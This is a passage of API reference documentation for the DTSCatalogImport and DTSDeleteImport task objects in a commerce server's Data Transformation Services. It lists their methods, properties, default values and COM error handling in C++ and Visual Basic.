[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Product Catalog Import DTS Task

[C++] DTSCatalogImport::get_Description, put_Description

[C++] DTSCatalogImport::get_NumRetries, put_NumRetries

[C++] DTSCatalogImport::PersistPropertyBag_Load

[C++] DTSCatalogImport::PersistPropertyBag_Save

[C++] DTSCatalogImport::get_ProcessingType, put_ProcessingType

[C++] DTSCatalogImport::get_RetryInterval, put_RetryInterval

[C++] DTSCatalogImport::put_SourceName

[C++] DTSCatalogImport::get_SourceType, put_SourceType

[Visual Basic] DTSCatalogImport.Description

[Visual Basic] DTSCatalogImport.NumRetries

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Load

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Save

[Visual Basic] DTSCatalogImport.ProcessingType

[Visual Basic] DTSCatalogImport.RetryInterval

[Visual Basic] DTSCatalogImport.SourceName

[Visual Basic] DTSCatalogImport.SourceType


_DTSCatalogImport::PersistPropertyBag_Load Method [C++]

DTSCatalogImport.PersistPropertyBag_Load Method [Visual Basic]

Use this method to load the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSCatalogImport::PersistPropertyBag_Load(
 );
[Visual Basic]
Sub PersistPropertyBag_Load(
 )

Parameters

None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Product Catalog Import DTS Task

[C++] DTSCatalogImport::CustomTask_Execute

[C++] DTSCatalogImport::get_Description, put_Description

[C++] DTSCatalogImport::get_NumRetries, put_NumRetries

[C++] DTSCatalogImport::PersistPropertyBag_Save

[C++] DTSCatalogImport::get_ProcessingType, put_ProcessingType

[C++] DTSCatalogImport::get_RetryInterval, put_RetryInterval

[C++] DTSCatalogImport::put_SourceName

[C++] DTSCatalogImport::get_SourceType, put_SourceType

[Visual Basic] DTSCatalogImport.CustomTask_Execute

[Visual Basic] DTSCatalogImport.Description

[Visual Basic] DTSCatalogImport.NumRetries

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Save

[Visual Basic] DTSCatalogImport.ProcessingType

[Visual Basic] DTSCatalogImport.RetryInterval

[Visual Basic] DTSCatalogImport.SourceName

[Visual Basic] DTSCatalogImport.SourceType


_DTSCatalogImport::PersistPropertyBag_Save Method [C++]

DTSCatalogImport.PersistPropertyBag_Save Method [Visual Basic]

Use this method to save the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSCatalogImport::PersistPropertyBag_Save(
 );
[Visual Basic]
Sub PersistPropertyBag_Save(
)

Parameters

None.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Product Catalog Import DTS Task

[C++] DTSCatalogImport::CustomTask_Execute

[C++] DTSCatalogImport::get_Description, put_Description

[C++] DTSCatalogImport::get_NumRetries, put_NumRetries

[C++] DTSCatalogImport::PersistPropertyBag_Load

[C++] DTSCatalogImport::get_ProcessingType, put_ProcessingType

[C++] DTSCatalogImport::get_RetryInterval, put_RetryInterval

[C++] DTSCatalogImport::put_SourceName

[C++] DTSCatalogImport::get_SourceType, put_SourceType

[Visual Basic] DTSCatalogImport.CustomTask_Execute

[Visual Basic] DTSCatalogImport.Description

[Visual Basic] DTSCatalogImport.NumRetries

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Load

[Visual Basic] DTSCatalogImport.ProcessingType

[Visual Basic] DTSCatalogImport.RetryInterval

[Visual Basic] DTSCatalogImport.SourceName

[Visual Basic] DTSCatalogImport.SourceType


_DTSCatalogImport Properties [C++]

DTSCatalogImport Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Description | BSTR | Stores a description of the DTS task. This property is read/write.
NumRetries | long | Stores the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | long | An enumeration that specifies the type of processing, either full or incremental. This property is read/write.
RetryInterval | long | Stores the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Specifies the Web site or Data Warehouse for which this task is processing data. This property is write only.
SourceType | long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
[Visual Basic]
Property | Type | Description
Description | String | Stores a description of the DTS task. This property is read/write.
NumRetries | Long | Stores the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | Long | An enumeration that specifies the type of processing, either full or incremental. This property is read/write.
RetryInterval | Long | Stores the number of seconds between retry attempts. This property is read/write.
SourceName | String | Specifies the Web site or Data Warehouse for which this task is processing data. This property is write only.
SourceType | Long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.


_DTSCatalogImport::get_Description, put_Description Property [C++]

DTSCatalogImport.Description Property [Visual Basic]

The Description property is a read/write String that describes the Data Transformation Services (DTS) task.

Definition

[C++]

Get method:

HRESULT _DTSCatalogImport::get_Description(
 BSTR Description
);

Put method:

HRESULT _DTSCatalogImport::put_Description(
 BSTR Description
);
[Visual Basic]
Property Description() As String

Parameters

Description [C++]
[in] When putting the property, a BSTR used to describe the DTS task.
[out,retval] When getting the property, a BSTR used to describe the DTS task.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Product Catalog Import DTS Task

[C++] DTSCatalogImport::CustomTask_Execute

[C++] DTSCatalogImport::get_NumRetries, put_NumRetries

[C++] DTSCatalogImport::PersistPropertyBag_Load

[C++] DTSCatalogImport::PersistPropertyBag_Save

[C++] DTSCatalogImport::get_ProcessingType, put_ProcessingType

[C++] DTSCatalogImport::get_RetryInterval, put_RetryInterval

[C++] DTSCatalogImport::put_SourceName

[C++] DTSCatalogImport::get_SourceType, put_SourceType

[Visual Basic] DTSCatalogImport.CustomTask_Execute

[Visual Basic] DTSCatalogImport.NumRetries

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Load

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Save

[Visual Basic] DTSCatalogImport.ProcessingType

[Visual Basic] DTSCatalogImport.RetryInterval

[Visual Basic] DTSCatalogImport.SourceName

[Visual Basic] DTSCatalogImport.SourceType


_DTSCatalogImport::get_NumRetries, put_NumRetries Property [C++]

DTSCatalogImport.NumRetries Property [Visual Basic]

The NumRetries property is a read/write Long that specifies the number of retry attempts that are to be made after a SQL connection/query failure.

Definition

[C++]

Get method:

HRESULT _DTSCatalogImport::get_NumRetries(
 long NumRetries
);

Put method:

HRESULT _DTSCatalogImport::put_NumRetries(
 long NumRetries
);
[Visual Basic]
Property NumRetries() As Long

Parameters

NumRetries [C++]
[in] When putting the property, a long used to specify the number of retry attempts that will be made after a SQL connection/query failure.
[out,retval] When getting the property, a long used to specify the number of retry attempts that will be made after a SQL connection/query failure.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the NumRetries property is set to 0, no retry attempt will be made. The minimum number of retry attempts is 0, the maximum number of retry attempts is 255. The default value is 10.

See Also

Scripting the Product Catalog Import DTS Task

[C++] DTSCatalogImport::CustomTask_Execute

[C++] DTSCatalogImport::get_Description, put_Description

[C++] DTSCatalogImport::PersistPropertyBag_Load

[C++] DTSCatalogImport::PersistPropertyBag_Save

[C++] DTSCatalogImport::get_ProcessingType, put_ProcessingType

[C++] DTSCatalogImport::get_RetryInterval, put_RetryInterval

[C++] DTSCatalogImport::put_SourceName

[C++] DTSCatalogImport::get_SourceType, put_SourceType

[Visual Basic] DTSCatalogImport.CustomTask_Execute

[Visual Basic] DTSCatalogImport.Description

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Load

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Save

[Visual Basic] DTSCatalogImport.ProcessingType

[Visual Basic] DTSCatalogImport.RetryInterval

[Visual Basic] DTSCatalogImport.SourceName

[Visual Basic] DTSCatalogImport.SourceType


_DTSCatalogImport::get_ProcessingType, put_ProcessingType Property [C++]

DTSCatalogImport.ProcessingType Property [Visual Basic]

The ProcessingType property is a read/write long that specifies the type of processing, which can be either full or incremental.

Definition

[C++]

Get method:

HRESULT _DTSCatalogImport::get_ProcessingType(
 long ProcessingType
);

Put method:

HRESULT _DTSCatalogImport::put_ProcessingType(
 long ProcessingType
);
[Visual Basic]
Property ProcessingType() As Long

Parameters

ProcessingType[C++]
[in] When putting the property, a long that specifies the type of processing.
[out,retval] When getting the property, a long that specifies the type of processing.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the ProcessingType property is set to ptypeFull (0), the task will process the full load. If the ProcessingType property is set to ptypeIncremental (100), the task will process the load incrementally. The default value is ptypeFull (0).

See Also

Scripting the Product Catalog Import DTS Task

[C++] DTSCatalogImport::CustomTask_Execute

[C++] DTSCatalogImport::get_Description, put_Description

[C++] DTSCatalogImport::get_NumRetries, put_NumRetries

[C++] DTSCatalogImport::PersistPropertyBag_Load

[C++] DTSCatalogImport::PersistPropertyBag_Save

[C++] DTSCatalogImport::get_RetryInterval, put_RetryInterval

[C++] DTSCatalogImport::put_SourceName

[C++] DTSCatalogImport::get_SourceType, put_SourceType

[Visual Basic] DTSCatalogImport.CustomTask_Execute

[Visual Basic] DTSCatalogImport.Description

[Visual Basic] DTSCatalogImport.NumRetries

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Load

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Save

[Visual Basic] DTSCatalogImport.RetryInterval

[Visual Basic] DTSCatalogImport.SourceName

[Visual Basic] DTSCatalogImport.SourceType


_DTSCatalogImport::get_RetryInterval, put_RetryInterval Property[C++]

DTSCatalogImport.RetryInterval Property [Visual Basic]

The RetryInterval property is a read/write Long that specifies the amount of time that will pass between each retry.

Definition

[C++]

Get method:

HRESULT _DTSCatalogImport::get_RetryInterval(
 long RetryInterval
);

Put method:

HRESULT _DTSCatalogImport::put_RetryInterval(
 long RetryInterval
);
[Visual Basic]
Property RetryInterval() As Long

Parameters

RetryInterval [C++]
[in] When putting the property, a long that contains the number of seconds between retry attempts.
[out,retval] When getting the property, a long that contains the number of seconds between retry attempts.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The minimum value that can be assigned to the RetryInterval property is 0 (zero). The maximum value is 3600. The default value is 30.

See Also

Scripting the Product Catalog Import DTS Task

[C++] DTSCatalogImport::CustomTask_Execute

[C++] DTSCatalogImport::get_Description, put_Description

[C++] DTSCatalogImport::get_NumRetries, put_NumRetries

[C++] DTSCatalogImport::PersistPropertyBag_Load

[C++] DTSCatalogImport::PersistPropertyBag_Save

[C++] DTSCatalogImport::get_ProcessingType, put_ProcessingType

[C++] DTSCatalogImport::put_SourceName

[C++] DTSCatalogImport::get_SourceType, put_SourceType

[Visual Basic] DTSCatalogImport.CustomTask_Execute

[Visual Basic] DTSCatalogImport.Description

[Visual Basic] DTSCatalogImport.NumRetries

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Load

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Save

[Visual Basic] DTSCatalogImport.ProcessingType

[Visual Basic] DTSCatalogImport.SourceName

[Visual Basic] DTSCatalogImport.SourceType


_DTSCatalogImport::put_SourceName Property [C++]

DTSCatalogImport.SourceName Property [Visual Basic]

The SourceName property is a write only String that specifies the Web site or Data Warehouse for which this task is processing data.

Definition

[C++]
HRESULT _DTSCatalogImport::put_SourceName(
 BSTR* SourceName
);
[Visual Basic]
Property SourceName() As String

Parameters

SourceName [C++]
[in] A BSTR that contains the name of the Web site or Data Warehouse.
[Visual Basic]None.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Product Catalog Import DTS Task

[C++] DTSCatalogImport::CustomTask_Execute

[C++] DTSCatalogImport::get_Description, put_Description

[C++] DTSCatalogImport::get_NumRetries, put_NumRetries

[C++] DTSCatalogImport::PersistPropertyBag_Load

[C++] DTSCatalogImport::PersistPropertyBag_Save

[C++] DTSCatalogImport::get_ProcessingType, put_ProcessingType

[C++] DTSCatalogImport::get_RetryInterval, put_RetryInterval

[C++] DTSCatalogImport::get_SourceType, put_SourceType

[Visual Basic] DTSCatalogImport.CustomTask_Execute

[Visual Basic] DTSCatalogImport.Description

[Visual Basic] DTSCatalogImport.NumRetries

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Load

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Save

[Visual Basic] DTSCatalogImport.ProcessingType

[Visual Basic] DTSCatalogImport.RetryInterval

[Visual Basic] DTSCatalogImport.SourceType


_DTSCatalogImport::get_SourceType, put_SourceType Property [C++]

DTSCatalogImport.SourceType Property [Visual Basic]

The SourceType property is a read/write long that specifies the level on which the Data Transformation Services (DTS) task will operate.

Definition

[C++]

Get method:

HRESULT _DTSCatalogImport::get_SourceType(
 long SourceType
);

Put method:

HRESULT _DTSCatalogImport::put_SourceType(
 long SourceType
);
[Visual Basic]
Property SourceType() As Long

Parameters

SourceType[C++]
[in] When putting the property, a long that contains the type of source.
[out, retval] When getting the property, a long that contains the type of source.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the SourceType property is set to srctypeSite (0), the task will operate on the Web site level. If the SourceType property is set to scrtypeDW (1), the task will operate on the Data Warehouse level. The default value is srctypeSite (0).

See Also

Scripting the Product Catalog Import DTS Task

[C++] DTSCatalogImport::CustomTask_Execute

[C++] DTSCatalogImport::get_Description, put_Description

[C++] DTSCatalogImport::get_NumRetries, put_NumRetries

[C++] DTSCatalogImport::PersistPropertyBag_Load

[C++] DTSCatalogImport::PersistPropertyBag_Save

[C++] DTSCatalogImport::get_ProcessingType, put_ProcessingType

[C++] DTSCatalogImport::get_RetryInterval, put_RetryInterval

[C++] DTSCatalogImport::put_SourceName

[Visual Basic] DTSCatalogImport.CustomTask_Execute

[Visual Basic] DTSCatalogImport.Description

[Visual Basic] DTSCatalogImport.NumRetries

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Load

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Save

[Visual Basic] DTSCatalogImport.ProcessingType

[Visual Basic] DTSCatalogImport.RetryInterval

[Visual Basic] DTSCatalogImport.SourceName


DTSDeleteImport Object [C++]

DTSDeleteImport Object [Visual Basic]

Use this object to delete log file data and summarized data from the Data Warehouse. This object should be run from within the context of a Data Transformation Services (DTS) package. The methods and properties should not be accessed directly. For more information about scripting the Data deletion DTS task, see Scripting the Data Deletion DTS Task.

ProgID: | Commerce.DTSDeleteImport (Externally creatable)
COM Class Name: | DTSDeleteImport
Type Library Name: | Microsoft Commerce 2002 Delete DTS Task Type Library
DLL Name: | CSDWDTSDelete.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _DTSDeleteImport
Interface ID Constant: | None
Header File: | None

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Properties

[C++]
Property | Type | Description
Count | long | Determines the log files to save or delete based on the value of the DeleteType and WebLogDeleteType properties. This property is read/write.
DeleteLevel | long | Determines if all data associated with the Web log file import will be deleted, or if only the detailed data will be deleted. This property is read/write.
DeleteType | long | Determines if all data from the Data Warehouse is deleted, or if only specific log files are deleted. This property is read/write.
Interval | long | Specifies the unit used for the Count property, in days, weeks, or months. This property is read/write.
ListofLogs | BSTR | Stores the list of log files to be deleted. This property is read/write.
NumRetries | long | Stores the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
RetryInterval | long | Stores the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Specifies the Web site or Data Warehouse for which this task is processing data. The default value is the first Data Warehouse or Web site on the alphabetically sorted list. This property is read/write.
SourceType | long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
WebLogDeleteType | long | Determines if specific log files are deleted, or if rotating deletes are performed. This property is read/write.
[Visual Basic]
Property | Type | Description
Count | Long | Determines the log files to save or delete based on the value of the DeleteType and WebLogDeleteType properties. This property is read/write.
DeleteLevel | Long | Determines if all data associated with the Web log file import will be deleted, or if only the detailed data will be deleted. This property is read/write.
DeleteType | Long | Determines if all data from the Data Warehouse is deleted, or if only specific log files are deleted. This property is read/write.
Interval | Long | Specifies the unit used for the Count property, in days, weeks, or months. This property is read/write.
ListofLogs | String | Stores the list of log files to be deleted. This property is read/write.
NumRetries | Long | Stores the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
RetryInterval | Long | Stores the number of seconds between retry attempts. This property is read/write.
SourceName | String | Specifies the Web site or Data Warehouse for which this task is processing data. The default value is the first Data Warehouse or Web site on the alphabetically sorted list. This property is read/write.
SourceType | Long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
WebLogDeleteType | Long | Determines if specific log files are deleted, or if the rotating deletes are performed. This property is read/write.

See Also

Scripting the Data Deletion DTS Task

[C++]

DTSCatalogImport Object

DTSIPResolution Object

DTSLogImport Object

DTSMarketingImport Object

DTSPostImport Object

DTSPredictor Object

DTSSynchAdminData Object

DTSTransactionImport Object

DTSUPMCustomTask Object

[Visual Basic]

DTSCatalogImport Object

DTSIPResolution Object

DTSLogImport Object

DTSMarketingImport Object

DTSPostImport Object

DTSPredictor Object

DTSSynchAdminData Object

DTSTransactionImport Object

DTSUPMCustomTask Object


_DTSDeleteImport Methods [C++]

DTSDeleteImport Methods [Visual Basic]

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.


_DTSDeleteImport::CustomTaskExecute Method [C++]

DTSDeleteImport.CustomTaskExecute Method [Visual Basic]

Use this method to execute the Data Transformation Services (DTS) task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSCatalogImport::CustomTask_Execute(
 IDispatch* pPackage,
 IDispatch* pPackageEvents,
 IDispatch* pPackageLog
);
[Visual Basic]
Sub CustomTask_Execute(
 pPackage As Object,
 pPackageEvents As Object,
 pPackageLog As Object
)

Parameters

pPackage [C++]
[in] A reference to the Package object that runs the DTS task.
pPackage [Visual Basic]
The Package object that runs the DTS task.
pPackageEvents [C++]
[in] A reference to the events of the Package object.
pPackageEvents [Visual Basic]
The events of the Package object.
pPackageLog [C++]
[in] A reference to a PackageLog object that writes task log records in the database or writes log messages to the log file.
pPackageLog [Visual Basic]
The PackageLog object that writes task log records in the database or writes log messages to the log file.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::PersistPropertyBag_Load Method [C++]

DTSDeleteImport.PersistPropertyBag_Load Method [Visual Basic]

Use this method to load the Data Transformation Services (DTS) task properties. This method is called indirectly when the task is run through a DTS package, and should not be called explicitly.

Definition

[C++]
HRESULT _DTSCatalogImport::PersistPropertyBag_Load(
 );
[Visual Basic]
Sub PersistPropertyBag_Load(
 )

Parameters

None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::PersistPropertyBag_Save Method [C++]

DTSDeleteImport.PersistPropertyBag_Save Method [Visual Basic]

Use this method to save the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSCatalogImport::PersistPropertyBag_Save(
 );
[Visual Basic]
Sub PersistPropertyBag_Save(
)

Parameters

None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType

